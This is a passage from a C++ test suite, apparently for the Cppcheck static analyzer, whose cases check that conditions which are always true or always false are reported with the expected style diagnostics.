(int)d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { double d; }\\n\"\n \"void f(A a) {\\n\"\n \" if (a.d != 0) {\\n\"\n \" int i = a.d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if(strlen(\\\"abc\\\") == 3) {;}\\n\"\n \" if(strlen(\\\"abc\\\") == 1) {;}\\n\"\n \" if(wcslen(L\\\"abc\\\") == 3) {;}\\n\"\n \" if(wcslen(L\\\"abc\\\") == 1) {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Condition 'strlen(\\\"abc\\\")==3' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:22]: (style) Condition 'strlen(\\\"abc\\\")==1' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:23]: (style) Condition 'wcslen(L\\\"abc\\\")==3' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:23]: (style) Condition 'wcslen(L\\\"abc\\\")==1' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int foo(bool a, bool b) {\\n\"\n \" if(!a && b && (!a == !b))\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:6] -> [test.cpp:2:21]: (style) Condition '!a==!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10454\n check(\"struct S {\\n\"\n \" int f() const { return g() ? 0 : 1; }\\n\"\n \" bool g() const { return u == 18446744073709551615ULL; }\\n\"\n \" unsigned long long u{};\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8358\n check(\"void f(double d) { if ((d * 0) != 0) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6870\n check(\"struct S {\\n\"\n \" int* p;\\n\"\n \" void f() const;\\n\"\n \" int g();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" if ((p == NULL) || ((p) && (g() >= *p))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:26]: (style) Condition 'p' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10749\n check(\"struct Interface {\\n\"\n \" virtual int method() = 0;\\n\"\n \"};\\n\"\n \"struct Child : Interface {\\n\"\n \" int method() override { return 0; }\\n\"\n \" auto foo() {\\n\"\n \" if (method() == 0)\\n\"\n \" return true;\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"struct GrandChild : Child {\\n\"\n \" int method() override { return 1; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6855\n check(\"struct S { int i; };\\n\"\n \"void f(S& s) {\\n\"\n \" if (!(s.i > 0) && (s.i != 0))\\n\"\n \" s.i = 0;\\n\"\n \" else if (s.i < 0)\\n\"\n \" s.s = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15] -> [test.cpp:5:18]: (style) Condition 's.i<0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #6857\n check(\"int bar(int i) { return i; }\\n\"\n \"void foo() {\\n\"\n \" if (bar(1) == 0 && bar(1) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Condition 'bar(1)==0' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:31]: (style) Condition 'bar(1)>0' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S { int bar(int i) const; };\\n\"\n \"void foo(const S& s) {\\n\"\n \" if (s.bar(1) == 0 && s.bar(1) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (warning) Logical conjunction always evaluates to false: s.bar(1) == 0 && s.bar(1) > 0. [incorrectLogicOperator]\\n\",\n errout_str());\n\n check(\"struct B {\\n\" // #10618\n \" void Modify();\\n\"\n \" static void Static();\\n\"\n \" virtual void CalledByModify();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int i{};\\n\"\n \" void testV();\\n\"\n \" void testS();\\n\"\n \" void CalledByModify() override { i = 0; }\\n\"\n \"};\\n\"\n \"void D::testV() {\\n\"\n \" i = 1;\\n\"\n \" B::Modify();\\n\"\n \" if (i == 1) {}\\n\"\n \"}\\n\"\n \"void D::testS() {\\n\"\n \" i = 1;\\n\"\n \" B::Static();\\n\"\n \" if (i == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:11]: (style) Condition 'i==1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"typedef struct { bool x; } s_t;\\n\" // #8446\n \"unsigned f(bool a, bool b) {\\n\"\n \" s_t s;\\n\"\n \" const unsigned col = a ? (s.x = false) : (b = true);\\n\"\n \" if (!s.x) {}\\n\"\n \" return col;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11233\n \" static std::string m;\\n\"\n \" static void f() { m = \\\"abc\\\"; }\\n\"\n \" static void g() {\\n\"\n \" m.clear();\\n\"\n \" f();\\n\"\n \" if (m.empty()) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11203\n check(\"void f() {\\n\"\n \" int i = 10;\\n\"\n \" if(i > 9.9){}\\n\"\n \" float f = 9.9f;\\n\"\n \" if(f < 10) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:10]: (style) Condition 'i>9.9' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:10]: (style) Condition 'f<10' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n check(\"constexpr int f() {\\n\" // #11238\n \" return 1;\\n\"\n \"}\\n\"\n \"constexpr bool g() {\\n\"\n \" return f() == 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() { return -1; }\\n\"\n \"void f() {\\n\"\n \" if (g() == 1 && g() == -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Condition 'g()==1' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:25]: (style) Condition 'g()==-1' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // #9817\n check(\"void f(float x) {\\n\"\n \" if (x <= 0) {}\\n\"\n \" else if (x < 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10426\n check(\"int f() {\\n\"\n \" std::string s;\\n\"\n \" for (; !s.empty();) {}\\n\"\n \" for (; s.empty();) {}\\n\"\n \" if (s.empty()) {}\\n\"\n \" if ((bool)0) {}\\n\"\n \" return s.empty();\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Condition '!s.empty()' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:19]: (style) Condition 's.empty()' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:16]: (style) Condition 's.empty()' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:9]: (style) Condition '(bool)0' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:7:19]: (style) Return value 's.empty()' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int f(bool b) {\\n\"\n \" if (b) return static_cast(1);\\n\"\n \" return (int)0;\\n\"\n \"}\\n\"\n \"bool g(bool b) {\\n\"\n \" if (b) return static_cast(1);\\n\"\n \" return (int)0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:35]: (style) Return value 'static_cast(1)' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:7:12]: (style) Return value '(int)0' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int f() { return 3; }\\n\"\n \"int g() { return f(); }\\n\"\n \"int h() { if (f()) {} }\\n\"\n \"int i() { return f() == 3; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Condition 'f()' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:22]: (style) Return value 'f()==3' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" const char *n;\\n\"\n \" return((n=42) &&\\n\"\n \" *n == 'A');\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::istringstream& i) {\\n\" // #9327\n \" std::string s;\\n\"\n \" if (!(i >> s))\\n\"\n \" return;\\n\"\n \" if (!(i >> s))\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11227\n check(\"struct S {\\n\"\n \"\tint get();\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" if (!s)\\n\"\n \" return;\\n\"\n \" g(s ? s->get() : 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:7]: (style) Condition 's' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const char* o) {\\n\" // #11558\n \" if (!o || !o[0])\\n\"\n \" return;\\n\"\n \" if (o[0] == '-' && o[1]) {\\n\"\n \" if (o[1] == '-') {}\\n\"\n \" if (o[1] == '\\\\0') {}\\n\"\n \" }\\n\"\n \"}\\n\");\n if (std::numeric_limits::is_signed) {\n ASSERT_EQUALS(\"[test.cpp:6:18]: (style) Condition 'o[1]=='\\\\0'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n } else {\n ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:6]: (style) Condition 'o[1]=='\\\\0'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n check(\"void f(int x) {\\n\" // #11449\n \" int i = x;\\n\"\n \" i = (std::min)(i, 1);\\n\"\n \" if (i == 1) {}\\n\"\n \" int j = x;\\n\"\n \" j = (::std::min)(j, 1);\\n\"\n \" if (j == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void h(int);\\n\" // #11679\n \"bool g(int a) { h(a); return false; }\\n\"\n \"bool f(int i) {\\n\"\n \" return g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string a) {\\n\" // #11051\n \" a = \\\"x\\\";\\n\"\n \" if (a == \\\"x\\\") {}\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'a==\\\"x\\\"' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(i == 7);\\n\"\n \" g(p == nullptr);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Condition 'i==7' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:9]: (style) Condition 'p==nullptr' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"enum E { E0, E1 };\\n\"\n \"void f() {\\n\"\n \"\tstatic_assert(static_cast(E::E1) == 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a {\\n\"\n \" bool g();\\n\"\n \" int h();\\n\"\n \"};\\n\"\n \"void f(a c, int d, int e) {\\n\"\n \" if (c.g() && c.h()) {}\\n\"\n \" else {\\n\"\n \" bool u = false;\\n\"\n \" if (d && e)\\n\"\n \" u = true;\\n\"\n \" if (u) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #11741\n \" i = -i - 1;\\n\"\n \" if (i < 0 || i >= 20)\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace S { int s{}; };\\n\" // #11046\n \"void f(bool b) {\\n\"\n \" if (S::s) {\\n\"\n \" if (b) {\\n\"\n \" if (S::s) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Condition 'S::s' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10811\n \" int i = 0;\\n\"\n \" if ((i = g(), 1) != 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:22]: (style) Condition '(i=g(),1)!=0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(unsigned i) {\\n\"\n \" const int a[2] = {};\\n\"\n \" const int* q = a + i;\\n\"\n \" if (q) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Condition 'q' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12786\n \" const int b[2] = {};\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Condition 'b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int j = 0;\\n\"\n \" switch (i) {\\n\"\n \" case 1:\\n\"\n \" j = 0;\\n\"\n \" break;\\n\"\n \" default:\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \" if (j != 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const char *s1 = foo();\\n\"\n \" const char *s2 = bar();\\n\"\n \" if (s2 == NULL)\\n\"\n \" return;\\n\"\n \" size_t len = s2 - s1;\\n\"\n \" if (len == 0)\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int h();\\n\" // #12858\n \"bool g() {\\n\"\n \" bool b{};\\n\"\n \" try {\\n\"\n \" int x = h();\\n\"\n \" switch (x) {\\n\"\n \" default:\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" b = false;\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" if (g()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x, int y) {\\n\" // #11822\n \" if (x) {\\n\"\n \" switch (y) {\\n\"\n \" case 1:\\n\"\n \" return 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" \\n\"\n \" if (y)\\n\"\n \" return 8;\\n\"\n \" \\n\"\n \" if (x)\\n\"\n \" return 9;\\n\"\n \" \\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\" // #10561\n \"bool h();\\n\"\n \"int f() {\\n\"\n \" bool b = false;\\n\"\n \" try {\\n\"\n \" switch (g()) {\\n\"\n \" default:\\n\"\n \" b = h();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {}\\n\"\n \" return b ? 1 : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" const S* get2() const {\\n\"\n \" if (mS)\\n\"\n \" return mS;\\n\"\n \" return this;\\n\"\n \" }\\n\"\n \" S* mS = nullptr;\\n\"\n \"};\\n\"\n \"void f2() {\\n\"\n \" const S s;\\n\"\n \" const S* sp2 = s.get2();\\n\"\n \" if (sp2) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:12:9]: (style) Condition 'sp2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int i);\\n\"\n \" bool g() const { return !m.empty(); }\\n\"\n \" std::set m;\\n\"\n \"};\\n\"\n \"void S::f(int i) {\\n\"\n \" bool b = g();\\n\"\n \" auto it = m.find(i);\\n\"\n \" if (it != m.end()) {\\n\"\n \" m.erase(it);\\n\"\n \" if (g() != b) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueSymbolic()\n {\n check(\"void f(const uint32_t x) {\\n\"\n \" uint32_t y[1];\\n\"\n \" y[0]=x;\\n\"\n \" if(x > 0 || y[0] < 42){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:4:22]: (style) Condition 'y[0]<42' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if(x < y && x < 42) {\\n\"\n \" --x;\\n\"\n \" if(x == y) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:4:14]: (style) Condition 'x==y' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) { if (a == b && a && !b){} }\");\n ASSERT_EQUALS(\"[test.cpp:1:41] -> [test.cpp:1:46]: (style) Condition '!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f(bool a, bool b) { if(a && b && (!a)){} }\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:1:40]: (style) Condition '!a' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if (x < y) {\\n\"\n \" auto z = y - x;\\n\"\n \" if (z < 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:11]: (style) Condition 'z<1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f(int &index, const int s, const double * const array, double & x) {\\n\"\n \" if (index >= s)\\n\"\n \" return false;\\n\"\n \" else {\\n\"\n \" x = array[index];\\n\"\n \" return (index++) >= s;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:6:26]: (style) Return value '(index++)>=s' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" a *b() const;\\n\"\n \"} c;\\n\"\n \"void d() {\\n\"\n \" a *e = nullptr;\\n\"\n \" e = c.b();\\n\"\n \" if (e) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int i) {\\n\"\n \" if (i < 256)\\n\"\n \" return 1;\\n\"\n \" const int N = 2 * i;\\n\"\n \" i -= 256;\\n\"\n \" if (i == 0)\\n\"\n \" return 0;\\n\"\n \" return N;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\"\n \" if (i < j) {\\n\"\n \" i++;\\n\"\n \" if (i >= j)\\n\"\n \" return;\\n\"\n \" i++;\\n\"\n \" if (i >= j) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int get_delta() {\\n\"\n \" clock_t now_ms = (clock() / (CLOCKS_PER_SEC / 1000));\\n\"\n \" static clock_t last_clock_ms = now_ms;\\n\"\n \" clock_t delta = now_ms - last_clock_ms;\\n\"\n \" last_clock_ms = now_ms;\\n\"\n \" if (delta > 50)\\n\"\n \" delta = 50;\\n\"\n \" return delta;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10555\n check(\"struct C {\\n\"\n \" int GetI() const { return i; }\\n\"\n \" int i{};\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" C *m_PC{};\\n\"\n \" Modify();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void test(); \\n\"\n \"};\\n\"\n \"void D::test() {\\n\"\n \" const int I = m_PC->GetI();\\n\"\n \" Modify();\\n\"\n \" if (m_PC->GetI() != I) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10624\n check(\"struct Data {\\n\"\n \" Base* PBase{};\\n\"\n \"};\\n\"\n \"void f(Data* BaseData) {\\n\"\n \" Base* PObj = BaseData->PBase;\\n\"\n \" if (PObj == nullptr)\\n\"\n \" return;\\n\"\n \" Derived* pD = dynamic_cast(PObj);\\n\"\n \" if (pD) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9549\n check(\"void f(const uint32_t v) {\\n\"\n \" const uint32_t v16 = v >> 16;\\n\"\n \" if (v16) {\\n\"\n \" const uint32_t v8 = v16 >> 8;\\n\"\n \" if (v8) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10649\n check(\"void foo(struct diag_msg *msg) {\\n\"\n \" msg = msg->next;\\n\"\n \" if (msg == NULL)\\n\"\n \" return CMD_OK;\\n\"\n \" msg = msg->next;\\n\"\n \" if (msg == NULL)\\n\"\n \" return CMD_OK;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(bool a, bool b) {\\n\"\n \" if((!a == !b) && !a && b)\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:2:26]: (style) Condition 'b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11124\n check(\"struct Basket {\\n\"\n \"\tstd::vector getApples() const;\\n\"\n \"\tstd::vector getBananas() const;\t\\n\"\n \"};\\n\"\n \"int getFruit(const Basket & b, bool preferApples)\\n\"\n \"{\\n\"\n \" std::vector apples = b.getApples();\\n\"\n \" int apple = apples.empty() ? -1 : apples.front();\\n\"\n \" std::vector bananas = b.getBananas();\\n\"\n \" int banana = bananas.empty() ? -1 : bananas.front();\\n\"\n \" int fruit = std::max(apple, banana);\\n\"\n \" if (fruit == -1)\\n\"\n \" return fruit;\\n\"\n \" if (std::min(apple, banana) != -1)\\n\"\n \" fruit = preferApples ? apple : banana;\\n\"\n \" return fruit;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string & s, int i) {\\n\"\n \" const char c = s[i];\\n\"\n \" if (!std::isalnum(c)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11404\n \" int f() const;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void h(std::vector::iterator it) {\\n\"\n \" auto i = (*it)->f();\\n\"\n \" (*it)->g();\\n\"\n \" auto j = (*it)->f();\\n\"\n \" if (i == j) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11384\n check(\"bool f(const int* it, const int* end) {\\n\"\n \"\treturn (it != end) && *it++ &&\\n\"\n \" (it != end) && *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12116\n check(\"void f(int n) {\\n\"\n \" for (int i = 0; i < N; ++i) {\\n\"\n \" if (i < n) {}\\n\"\n \" else if (i > n) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12681\n check(\"void f(unsigned u) {\\n\"\n \" if (u > 0) {\\n\"\n \" u--;\\n\"\n \" if (u == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned u) {\\n\"\n \" if (u < 0xFFFFFFFF) {\\n\"\n \" u++;\\n\"\n \" if (u == 0xFFFFFFFF) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\" // #12937\n \" bool c = !a && b;\\n\"\n \" if (a) {}\\n\"\n \" else {\\n\"\n \" if (c) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned x) {\\n\" // #13522\n \" unsigned u = x;\\n\"\n \" int i = u - 0;\\n\"\n \" if (i < 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueInfer() {\n check(\"void f(int x) {\\n\"\n \" if (x > 5) {\\n\"\n \" x++;\\n\"\n \" if (x == 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:15]: (style) Condition 'x==1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5) {\\n\"\n \" x++;\\n\"\n \" if (x != 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:15]: (style) Condition 'x!=1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #6890\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x == -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x==-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x != -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x!=-1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x >= -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x>=-1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x>-1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x < -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x<-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x <= -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x<=-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > 7) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x>7' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > 9) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > 10) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11100\n check(\"struct T {\\n\"\n \" bool m{};\\n\"\n \" void f(bool b);\\n\"\n \" bool get() const { return m; }\\n\"\n \" void set(bool v) { m = v; }\\n\"\n \"};\\n\"\n \"void T::f(bool b) {\\n\"\n \"\tbool tmp = get();\\n\"\n \"\tset(b);\\n\"\n \"\tif (tmp != get()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9541\n check(\"int f(int pos, int a) {\\n\"\n \" if (pos <= 0)\\n\"\n \" pos = 0;\\n\"\n \" else if (pos < a)\\n\"\n \" if(pos > 0)\\n\"\n \" --pos;\\n\"\n \" return pos;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:16]: (style) Condition 'pos>0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9721\n check(\"void f(int x) {\\n\"\n \" if (x > 127) {\\n\"\n \" if ( (x>255) || (-128>x) )\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:30]: (style) Condition '-128>x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8778\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 19; ++i)\\n\"\n \" 